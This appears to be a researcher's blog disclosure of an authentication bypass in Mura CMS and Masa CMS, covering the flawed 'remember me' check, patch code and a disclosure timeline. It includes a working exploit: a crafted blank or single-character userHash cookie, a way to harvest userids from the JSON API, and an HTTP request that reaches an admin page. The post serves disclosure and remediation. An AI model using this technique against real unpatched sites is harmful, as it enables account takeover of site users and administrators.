Monday, March 6, 2023

Authentication Bypass Vulnerability in Mura CMS and Masa CMS (CVE-2022-47003 and CVE-2022-47002)


Background


Mura CMS is a popular content management system written in ColdFusion/CFML. While it was originally a commercial open source product, it was re-licensed as a closed source application with the release of Mura CMS v10 in 2020.  There are forked open source projects based on the last open source release of Mura CMS, including Masa CMS - which is actively maintained.

Multiple versions of Mura CMS and Masa CMS contain an authentication bypass vulnerability that can allow an unauthenticated attacker to login as any Site Member or System User.


Vulnerability Summary 


CVE-2022-47003 - Authentication Bypass Vulnerability in Mura CMS
Impact:  An unauthenticated attacker is able to login as any Mura Site Member or Mura System User
 Fixed Version(s): Mura CMS v10.0.580 and later

CVE-2022-47002 - Authentication Bypass Vulnerability in Masa CMS
Impact:  An unauthenticated attacker is able to login as any Masa Site Member or Masa System User
Fixed Version(s): Masa CMS v7.2.5, Masa CMS v7.3.10, Masa v7.4.0-beta.3 and later


Technical Details


The root cause of the authentication bypass vulnerability is a conditional logic flaw in the “remember me” functionality.  The "remember me" functionality is designed to create a cookie with an encrypted value after a successful login, that will be validated at a later time and automatically log the user back into a site after their session has expired:


Moving between Mura and Masa, open source and closed source, and version to version – there are likely to be subtle and not-so-subtle differences in the codebases.  However, the relevant portions should all be the same, even if the line numbers are different.

Let’s first identify all the relevant code, starting with /core/appcfc/onRequestStart_include.cfm, using the following branch as an example:  https://github.com/MasaCMS/MasaCMS/blob/ea9dd65d88ba55d5b41131cf355778a6529ff42a/core/appcfc/onRequestStart_include.cfm#L223-L224 


[...]
if ( isDefined('cookie.userid') && cookie.userid != '' && !sessionData.mura.isLoggedIn ) {
application.loginManager.rememberMe(cookie.userid, decrypt(cookie.userHash,application.userManager.readUserPassword(cookie.userid),
"cfmx_compat",'hex'));
}
[...]


And the rememberMe() function, from /core/mura/login/loginManager.cfc, using this branch: https://github.com/MasaCMS/MasaCMS/blob/ea9dd65d88ba55d5b41131cf355778a6529ff42a/core/mura/login/loginManager.cfc#L90-L106 

[...]
public boolean function rememberMe(required string userid="", required string userHash="") output=false {
var rsUser=variables.userDAO.readUserHash(arguments.userid);
var isLoggedin=0;
var sessionData=getSession();
if ( !len(arguments.userHash) || arguments.userHash == rsUser.userHash ) {

          isloggedin=variables.userUtility.loginByUserID(rsUser.userID,
          rsUser.siteID);
}
if ( isloggedin ) {
sessionData.rememberMe=1;
return true;
} else {
variables.globalUtility.deleteCookie(name="userHash");
variables.globalUtility.deleteCookie(name="userid");
sessionData.rememberMe=0;
return false;
}
}
[...]


Now let’s figure out what’s going on, starting at this portion of onRequestStart_include.cfm

if ( isDefined('cookie.userid') && cookie.userid != '' && !sessionData.mura.isLoggedIn ) {

We should flow into the code above if our request has a non-empty “userid” cookie and if our session isn’t logged in.

Next – 

application.loginManager.rememberMe(cookie.userid, decrypt(cookie.userHash,application.userManager.readUserPassword(cookie.userid),
"cfmx_compat",'hex'));


We’ll pass in our “userid” cookie and the result of the decrypt() call to the rememberMe() function.  The decrypt() call will attempt to decrypt the value “userHash” cookie, using the password for the user identified in the “userid” cookie (assuming a valid user) as the key.

And what does the rememberMe() function do?  First it creates the rsUser object (again, based on the value of the “userid” cookie) and sets up some other variables - 

var rsUser=variables.userDAO.readUserHash(arguments.userid);
var isLoggedin=0;
var sessionData=getSession();


and then we wind up here:

if ( !len(arguments.userHash) || arguments.userHash == rsUser.userHash )

This is the conditional logic flaw that we’ll be exploiting – specifically, the highlighted left half of the conditional.  In order to exploit the vulnerability, we need the highlighted conditional to be true – which will happen if arguments.userHash has a length of zero bytes.  And as we recall, argument.userHash is the result of the decrypt() call shown above.

But first let’s take a slight detour and consider some simplified CFML code that is still representative of the application flow that we want to exploit:

<cfscript>
myCookie = '';
val1 = decrypt(myCookie,'irrelevant', 'cfmx_compat', 'hex');
val2 = 'theRealHashDoesntMatter';

if (!len(val1) || val1 == val2) { 
  writedump('oops');
}
</cfscript>


If we can make the length of “val1” (our passed-in arguments.userHash in the real application code) be zero, then we can exploit the application and break the assumed logic here.  If we pass in an empty value for "myCookie", this results in a zero-length decrypted value for "val1".   But will this work?

The Lucee decrypt() function will happily take an empty string for the input to decrypt, and therefore exploitation is possible:




But in Adobe ColdFusion (ACF) we’re out of luck here, since decrypt() will fail if we pass in an empty string: 



But cross-platform support is important, and wouldn't it be nice if we could get this working against ACF too?  As it turns out, there are a handful of payloads (such as single-character strings) that will work in ACF, and result in the decrypted "val1" being a zero-byte string.  Success!  (Note: These payloads do not work on Lucee, because decrypt() complains that they are not valid hexadecimal strings.)

So if we run our modified sample code in ACF, we see that it now works:

<cfscript>
myCookie = 'A';
val1 = decrypt(myCookie,'irrelevant', 'cfmx_compat', 'hex');
val2 = 'theRealHashDoesntMatter';

if (!len(val1) || val1 == val2) { 
  writedump('oops');
}
</cfscript>




Let’s now go back to the real application code.  If we send a request with a valid "userid" cookie and a blank userHash cookie (assuming Lucee; or with another specially-crafted value for ACF), and we wind up here in the rememberMe() function:

isloggedin=variables.userUtility.loginByUserID(rsUser.userID,rsUser.siteID);

And with that – the application will log us in as the userid passed in the "userid" cookie.  

The Mura userid values are randomly generated UUIDs.  While it’s well established that UUIDs alone should not be used as the sole means of authorization, let’s see how practical and likely exploitation can be.  With a large enough user population, we might get lucky and hit on some valid UUIDs via automated requests.  And there may be ways that we can shrink the UUID space or make our guesses more efficient.  But having to brute-force UUIDs isn’t ideal.  However, we can do even better, courtesy of the in the Mura JSON API, which provides an unauthenticated way to extract userid UUIDs:


(And it’s also always a possibility that additional custom application functionality could leak userids in metadata, client-side source code, other locations that would be visible to users.)

We can then use the obtained userid values to send an application request with a valid "userid" cookie and a blank "userHash" cookie (assuming Lucee), and the application will treat this as an authenticated request as that user.  This technique can be used to make an authenticated request to any application page, action, or asset.  As an example, we can now successfully access an Admin User profile page:  

REQUEST:

GET /admin/?muraAction=cEditProfile.edit HTTP/1.1
Host: some.mura.site
Cookie: userid=userid-uuid-goes-here; userhash=


 




Remediation Recommendations




Help! I Need to Quickly Patch an Old Version of Mura CMS and Can't Upgrade to Masa CMS Immediately (and Don't Have $5000)


Prior to reporting this vulnerability to Mura Software and the Masa CMS team, I was curious and concerned about the options that organizations running older, unsupported versions of open source Mura CMS would have to remediate it.  I have spent time playing defense in organizations that were understaffed and underfunded.  If cost and limited budgets were a factor in initially selecting a free Mura CMS, it’s unlikely these organizations would now be able to pony up cash for a security fix.  It's great to see that the Masa CMS team is maintaining an open source fork, but often single security patches are much easier and quicker to deploy than doing something like a full system migration from Mura to Masa.

When I reported this vulnerability to Mura Software, it was my original understanding that Mura Software would be making a do-it-yourself patch for this vulnerability available at no cost upon request, for organizations running older versions of open source Mura CMS.  But at this point I’m not sure if that is actually an option, as I have heard that Mura Software is selling a standalone patch for $5000.  

Five grand just for a security patch?  You cannot be serious.  So – I want to at least share some guidance for a potential quick-and-dirty fix.  And if you paid $5000 for just a security patch, you have my sympathy.  Find me at a conference or on a bar stool, show me a paid invoice, and I’ll buy you a drink.  But in the meantime, Johnny Mac is here to help.  This code is pulled from the public Masa CMS “remember me” patch:



For easier copypasta - 

Vulnerable: 
if ( !len(arguments.userHash) || arguments.userHash == rsUser.userHash ) {

Fixed:
if ( len(arguments.userid) && len(arguments.userHash) && arguments.userHash == rsUser.userHash ) {

Find the red in loginManager.cfc and change it to the green.  I’ve tested the fix above on Mura CMS 7.0.7029 running on Lucee, and it will successfully stop exploitation.  Obviously – take this code with the same level of guarantee as you would for any other meme-delivered code.  Test, test, test and have a rollback plan before making this change in production environments or anywhere else that matters.

Note that there will also be some variation between Mura versions.  Providing a complete picture of past versions is tough since the official Mura CMS repos are private and I'm only working off of what's available in public forks, but here's what I know:
(Solving for the exact values of x is an exercise left for the reader. Check your codebases.)

And Mura 6.x looks like it's vulnerable too, but while the "remember me" code is functionality similar, it uses tag-based CFML and not the CFScript-based CFML in Mura 7.0 and later.  loginManager.cfc should be in requirements/mura/login/, and you'll want to change:


<cfif not len(arguments.userHash) or arguments.userHash eq rsUser.userHash>
        <cfset isloggedin=variables.userUtility.loginByUserID(rsUser.userID,rsUser.siteID)>

to:

<cfif len(arguments.userHash) and arguments.userHash eq rsUser.userHash>
        <cfset isloggedin=variables.userUtility.loginByUserID(rsUser.userID,rsUser.siteID)>

(remove the not,  change the or to an and)

Plus Mura CMS 6.x has other security vulnerabilities, so if you’re running it you should really plan to migrate to a later, supported platform regardless of this vulnerability.

A final note on the patches:  There’s a lot of code overlap between Masa CMS and Mura CMS 7.x, and I’ve read some reports of people successfully dropping the Masa patch in its entirety into Mura environments.  I don’t fully understand how the configBean/MFA stuff works within the Masa patch (and what specific Mura versions it would or wouldn’t apply to) – which is why I’ve scaled down the code in the “quick” fix.  Anyone who is more familiar with Mura/Masa internals and can provide more guidance, please feel free to leave a comment or drop me a line.  But the crux of the vulnerability is the portion of the conditional in loginManager.cfc that evaluates true for a zero-length arguments.userHash value (decrypt() result).


A Few More Closing Thoughts


  • This vulnerability is a good reminder that user-controlled ciphertext is still untrusted input.  User-controlled ciphertext should always include an HMAC or other cryptographic integrity check that is validated prior to decryption.  If the integrity validation fails, decryption should not even be attempted.
  • The CFMX_COMPAT algorithm is very insecure.  While no practical cryptographic attacks are demonstrated in this scenario, a more secure algorithm should ideally be used. (And in the case of an exposed "userHash" cookie, cracking/decrypting the ciphertext provides limited additional value.)
  • There are some information leakage vulnerabilities in the Mura/Masa JSON API, such as the means to extract valid userid UUIDs.  As standalone issues they may be low risk and have limited impact, but they become much more significant as part of our exploit chain.  
  • The “Remember me” functionality is driven by code that is evaluated server-side.  Just removing the front-end web UI “Remember me” toggle switch on the login forms without a backend code change will not remediate the underlying vulnerability.   



Timeline


2022-11-28 - Reported the vulnerability to Mura Software and Masa CMS team

2022-11-28 - Received confirmation of receipt from Mura Software

2022-11-29 - Received confirmation of receipt from Masa CMS team

2022-12-06 - Established a timeframe for technical disclosure 90 days after patch release

2022-12-06 - Masa CMS team releases fixed versions of Masa CMS, and announces fixes via mailing list, LinkedIn, Twitter and Slack

2022-12-06 - Mura Software notifies customers 


2023-01-11 - Phewwwww.  Exhale.  Ommmmm.  We cool.  (It was my pleasure to work with Matt at Mura Software on the triage and remediation of this vulnerability.)


2023-02-01 - CVE-2022-47002 and CVE-2022-47003 published 

2023-03-06 - Blog post published




2 comments:

  1. Wow! Thank you for the patch info!

    ReplyDelete
  2. Thank you so much for finding and patching this vulnerability!

    ReplyDelete